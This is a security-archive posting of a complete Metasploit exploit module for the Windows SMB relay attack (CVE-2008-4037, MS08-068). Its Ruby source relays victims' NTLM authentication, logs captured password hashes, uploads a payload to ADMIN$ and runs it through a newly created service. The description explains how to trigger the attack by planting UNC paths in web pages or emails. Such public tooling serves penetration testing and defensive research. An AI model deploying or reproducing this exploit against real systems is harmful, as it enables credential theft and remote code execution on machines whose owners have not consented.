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Microsoft Windows SMB Relay Code Execution

Microsoft Windows SMB Relay Code Execution
Posted Nov 26, 2009
Authored by H D Moore | Site metasploit.com

This Metasploit module will relay SMB authentication requests to another host, gaining access to an authenticated SMB session if successful. If the connecting user is an administrator and network logins are allowed to the target machine, this module will execute an arbitrary payload. To exploit this, the target system must try to authenticate to this module. The easiest way to force a SMB authentication attempt is by embedding a UNC path (\\\\\\\\SERVER\\\\SHARE) into a web page or email message. When the victim views the web page or email, their system will automatically connect to the server specified in the UNC share (the IP address of the system running this module) and attempt to authenticate. Unfortunately, this module is not able to clean up after itself. The service and payload file listed in the output will need to be manually removed after access has been gained. The service created by this tool uses a randomly chosen name and description, so the services list can become cluttered after repeated exploitation. The SMB authentication relay attack was first reported by Sir Dystic on March 31st, 2001 at @lanta.con in Atlanta, Georgia. On November 11th 2008 Microsoft released bulletin MS08-068. This bulletin includes a patch which prevents the relaying of challenge keys back to the host which issued them, preventing this exploit from working in the default configuration. It is still possible to set the SMBHOST parameter to a third-party host that the victim is authorized to access, but the "reflection" attack has been effectively broken.

tags | exploit, web, arbitrary
advisories | CVE-2008-4037
SHA-256 | be0175ccf32e6255a62bc1a5aee3fb663de0b84e1aaa94c1802858f10132da2c

Microsoft Windows SMB Relay Code Execution

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


=begin
Windows XP systems that are not part of a domain default to treating all
network logons as if they were Guest. This prevents SMB relay attacks from
gaining administrative access to these systems. This setting can be found
under:

Local Security Settings >
Local Policies >
Security Options >
Network Access: Sharing and security model for local accounts
=end

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::SMBServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows SMB Relay Code Execution',
'Description' => %q{
This module will relay SMB authentication requests to another
host, gaining access to an authenticated SMB session if successful.
If the connecting user is an administrator and network logins are
allowed to the target machine, this module will execute an arbitrary
payload. To exploit this, the target system must try to authenticate
to this module. The easiest way to force a SMB authentication attempt
is by embedding a UNC path (\\\\SERVER\\SHARE) into a web page or
email message. When the victim views the web page or email, their
system will automatically connect to the server specified in the UNC
share (the IP address of the system running this module) and attempt
to authenticate. Unfortunately, this
module is not able to clean up after itself. The service and payload
file listed in the output will need to be manually removed after access
has been gained. The service created by this tool uses a randomly chosen
name and description, so the services list can become cluttered after
repeated exploitation.

The SMB authentication relay attack was first reported by Sir Dystic on
March 31st, 2001 at @lanta.con in Atlanta, Georgia.

On November 11th 2008 Microsoft released bulletin MS08-068. This bulletin
includes a patch which prevents the relaying of challenge keys back to
the host which issued them, preventing this exploit from working in
the default configuration. It is still possible to set the SMBHOST
parameter to a third-party host that the victim is authorized to access,
but the "reflection" attack has been effectively broken.

},
'Author' =>
[
'hdm'
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true,
'StackAdjustment' => -3500,
},
'References' =>
[
[ 'CVE', '2008-4037'],
[ 'OSVDB', '49736'],
[ 'MSB', 'MS08-068'],
[ 'URL', 'http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx'],
[ 'URL', 'http://en.wikipedia.org/wiki/SMBRelay' ],
[ 'URL', 'http://www.microsoft.com/technet/sysinternals/utilities/psexec.mspx' ],
[ 'URL', 'http://www.xfocus.net/articles/200305/smbrelay.html' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DisclosureDate' => 'Mar 31 2001',
'DefaultTarget' => 0 ))

register_options(
[
OptAddress.new('SMBHOST', [ false, "The target SMB server (leave empty for originating system)"])
], self.class )
end


if (not const_defined?('NDR'))
NDR = Rex::Encoder::NDR
end

def smb_haxor(c)
smb = @state[c]
rclient = smb[:rclient]

if (@pwned[smb[:rhost]])
print_status("Ignoring request from #{smb[:rhost]}, attack already in progress.")
return
end

if (not rclient.client.auth_user)
print_line(" ")
print_error(
"FAILED! The remote host has only provided us with Guest privileges. " +
"Please make sure that the correct username and password have been provided. " +
"Windows XP systems that are not part of a domain will only provide Guest privileges " +
"to network logins by default."
)
print_line(" ")
return
end

print_status("Connecting to the ADMIN$ share...")
rclient.connect("ADMIN$")

@pwned[smb[:rhost]] = true

print_status("Regenerating the payload...")
code = regenerate_payload(smb[:rsock])

# Upload the shellcode to a file
print_status("Uploading payload...")
filename = rand_text_alpha(8) + ".exe"
fd = rclient.open("\\#{filename}", 'rwct')
fd << Msf::Util::EXE.to_win32pe_service(framework,code.encoded,rand_text_alpha(8))
fd.close
print_status("Created \\#{filename}...")

# Disconnect from the ADMIN$
rclient.disconnect("ADMIN$")

print_status("Connecting to the Service Control Manager...")
rclient.connect("IPC$")

dcerpc = smb_dcerpc(c, '367abb81-9844-35f1-ad32-98f038001003', '2.0', "\\svcctl")

##
# OpenSCManagerW()
##

print_status("Obtaining a service manager handle...")
scm_handle = nil
stubdata =
NDR.uwstring("\\\\#{smb[:rhost]}") +
NDR.long(0) +
NDR.long(0xF003F)
begin
response = dcerpc.call(0x0f, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
scm_handle = dcerpc.last_response.stub_data[0,20]
end
rescue ::Exception => e
print_status("Error: #{e}")
return
end

##
# CreateServiceW()
##

servicename = rand_text_alpha(8)
displayname = rand_text_alpha(rand(32)+1)
svc_handle = nil
svc_status = nil

print_status("Creating a new service...")
stubdata =
scm_handle +
NDR.wstring(servicename) +
NDR.uwstring(displayname) +

NDR.long(0x0F01FF) + # Access: MAX
NDR.long(0x00000110) + # Type: Interactive, Own process
NDR.long(0x00000003) + # Start: Demand
NDR.long(0x00000000) + # Errors: Ignore

NDR.wstring("%SYSTEMROOT%\\#{filename}") + # Binary Path
NDR.long(0) + # LoadOrderGroup
NDR.long(0) + # Dependencies
NDR.long(0) + # Service Start
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) # Password
begin
response = dcerpc.call(0x0c, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
svc_handle = dcerpc.last_response.stub_data[0,20]
svc_status = dcerpc.last_response.stub_data[24,4]
end
rescue ::Exception => e
print_status("Error: #{e}")
return
end


##
# CloseHandle()
##
print_status("Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception
end

##
# OpenServiceW
##
print_status("Opening service...")
begin
stubdata =
scm_handle +
NDR.wstring(servicename) +
NDR.long(0xF01FF)

response = dcerpc.call(0x10, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
svc_handle = dcerpc.last_response.stub_data[0,20]
end
rescue ::Exception => e
print_status("Error: #{e}")
return
end

##
# StartService()
##
print_status("Starting the service...")
stubdata =
svc_handle +
NDR.long(0) +
NDR.long(0)
begin
response = dcerpc.call(0x13, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
end
rescue ::Exception => e
return
#print_status("Error: #{e}")
end

##
# DeleteService()
##
print_status("Removing the service...")
stubdata =
svc_handle
begin
response = dcerpc.call(0x02, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
end
rescue ::Exception => e
print_status("Error: #{e}")
end

##
# CloseHandle()
##
print_status("Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception => e
print_status("Error: #{e}")
end

rclient.disconnect("IPC$")

print_status("Deleting \\#{filename}...")
rclient.connect("ADMIN$")
rclient.delete("\\#{filename}")
end


def smb_dcerpc(c, uuid, version, pipe)
smb = @state[c]
opts = {
'Msf' => framework,
'MsfExploit' => self,
'smb_pipeio' => 'rw',
'smb_client' => smb[:rclient]
}

handle = Rex::Proto::DCERPC::Handle.new([uuid, version], 'ncacn_np', smb[:ip], [pipe])
dcerpc = Rex::Proto::DCERPC::Client.new(handle, smb[:rsock], opts)
end


def smb_cmd_dispatch(cmd, c, buff)
smb = @state[c]

@pwned ||= {}

case cmd
when CONST::SMB_COM_NEGOTIATE
smb_cmd_negotiate(c, buff)

when CONST::SMB_COM_SESSION_SETUP_ANDX
smb_cmd_session_setup(c, buff)

when CONST::SMB_COM_TREE_CONNECT
print_status("Denying tree connect from #{smb[:name]}")
pkt = CONST::SMB_BASE_PKT.make_struct
pkt['Payload']['SMB'].v['Command'] = cmd
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000022
c.put(pkt.to_s)

else
print_status("Ignoring request from #{smb[:name]} (#{cmd})")
pkt = CONST::SMB_BASE_PKT.make_struct
pkt['Payload']['SMB'].v['Command'] = cmd
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['ErrorClass'] = 0 # 0xc0000022
c.put(pkt.to_s)
end
end

def smb_cmd_negotiate(c, buff)
smb = @state[c]
pkt = CONST::SMB_NEG_PKT.make_struct
pkt.from_s(buff)

# Record the remote process ID
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']

group = ''
machine = smb[:nbsrc]

dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
# print_status("Negotiation from #{smb[:name]}: #{dialects.join(", ")}")

dialect =
dialects.index("NT LM 0.12") ||
dialects.length-1


# Dialect selected, now we try to the target system
target_host = datastore['SMBHOST']
if (not target_host or target_host.strip.length == 0)
target_host = smb[:ip]
end

rsock = nil
rport = nil
[445, 139].each do |rport_|
rport = rport_
begin
rsock = Rex::Socket::Tcp.create(
'PeerHost' => target_host,
'PeerPort' => rport,
'Timeout' => 3,
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self,
}
)
break if rsock
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Error connecting to #{target_host}:#{rport} #{e.class} #{e}")
end
end

if(not rsock)
print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.")
return
end

rclient = Rex::Proto::SMB::SimpleClient.new(rsock, rport == 445 ? true : false)

begin
rclient.login_split_start_ntlm1(smb[:nbsrc])
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Could not negotiate NTLMv1 with #{target_host}:#{rport} #{e.class} #{e}")
raise e
end

if (not rclient.client.challenge_key)
print_error("No challenge key received from #{smb[:ip]}:#{rport}")
rsock.close
return
end

if (smb[:rsock])
smb[:rsock].close
end

smb[:rsock] = rsock
smb[:rclient] = rclient
smb[:rhost] = target_host

pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
smb_set_defaults(c, pkt)

time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)

pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['WordCount'] = 17
pkt['Payload'].v['Dialect'] = dialect
pkt['Payload'].v['SecurityMode'] = 3
pkt['Payload'].v['MaxMPX'] = 2
pkt['Payload'].v['MaxVCS'] = 1
pkt['Payload'].v['MaxBuff'] = 4356
pkt['Payload'].v['MaxRaw'] = 65536
pkt['Payload'].v['Capabilities'] = 0xe3fd # 0x80000000 for extended
pkt['Payload'].v['ServerTime'] = time_lo
pkt['Payload'].v['ServerDate'] = time_hi
pkt['Payload'].v['Timezone'] = 0x0


pkt['Payload'].v['SessionKey'] = 0
pkt['Payload'].v['KeyLength'] = 8

pkt['Payload'].v['Payload'] =
rclient.client.challenge_key +
Rex::Text.to_unicode(group) + "\x00\x00" +
Rex::Text.to_unicode(machine) + "\x00\x00"

c.put(pkt.to_s)
end

def smb_cmd_session_setup(c, buff)
smb = @state[c]
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
pkt.from_s(buff)


# Record the remote multiplex ID
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']

lm_len = pkt['Payload'].v['PasswordLenLM']
nt_len = pkt['Payload'].v['PasswordLenNT']

lm_hash = pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0]
nt_hash = pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0]


buff = pkt['Payload'].v['Payload']
buff.slice!(0, lm_len + nt_len)
names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') }

smb[:username] = names[0]
smb[:domain] = names[1]
smb[:peer_os] = names[2]
smb[:peer_lm] = names[3]


# Clean up the data for loggging
if (smb[:username] == "")
smb[:username] = nil
end

if (smb[:domain] == "")
smb[:domain] = nil
end

print_status(
"Received #{smb[:name]} #{smb[:domain]}\\#{smb[:username]} " +
"LMHASH:#{lm_hash ? lm_hash : "<NULL>"} NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
"OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}"
)

if (lm_hash == "" or lm_hash == "00")
lm_hash = nil
end

if (nt_hash == "")
nt_hash = nil
end

if (lm_hash or nt_hash)
rclient = smb[:rclient]
print_status("Authenticating to #{smb[:rhost]} as #{smb[:domain]}\\#{smb[:username]}...")
res = nil

begin
res = rclient.login_split_next_ntlm1(
smb[:username],
smb[:domain],
[ (lm_hash ? lm_hash : "00" * 24) ].pack("H*"),
[ (nt_hash ? nt_hash : "00" * 24) ].pack("H*")
)
rescue XCEPT::LoginError
end

if (res)
print_status("AUTHENTICATED as #{smb[:domain]}\\#{smb[:username]}...")
smb_haxor(c)
else
print_status("Failed to authenticate as #{smb[:domain]}\\#{smb[:username]}...")
end
end

print_status("Sending Access Denied to #{smb[:name]} #{smb[:domain]}\\#{smb[:username]}")

pkt = CONST::SMB_BASE_PKT.make_struct
smb_set_defaults(c, pkt)

pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000022
c.put(pkt.to_s)
end

end
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